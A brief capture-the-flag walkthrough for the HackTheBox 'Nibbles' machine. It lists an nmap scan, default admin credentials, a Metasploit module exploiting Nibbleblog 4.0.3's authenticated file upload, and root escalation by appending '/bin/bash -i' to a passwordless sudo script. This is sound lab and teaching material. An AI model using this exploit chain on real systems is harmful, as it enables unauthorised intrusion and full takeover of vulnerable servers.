Nibbles writeup & walkthrough

Nibbles is an easy HackTheBox Linux machine running Nibbleblog 4.0.3, exploited via an authenticated file upload vulnerability. Privilege escalation abuses a sudo-allowed script in the user's home directory.

HackTheBox - Nibbles

Access Path

no access => nibbler => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sV -sC --open 10.10.10.75

# Find /nibbleblog in HTML source, login with admin:nibbles
# Plugins > My Image > Configure > upload PHP reverse shell

# Metasploit
use exploit/multi/http/nibbleblog_file_upload
set RHOSTS 10.10.10.75
set USERNAME admin
set PASSWORD nibbles
set TARGETURI /nibbleblog/
run

# Privilege Escalation
sudo -l
# => /home/nibbler/personal/stuff/monitor.sh as root NOPASSWD

unzip personal.zip
echo '/bin/bash -i' >> /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh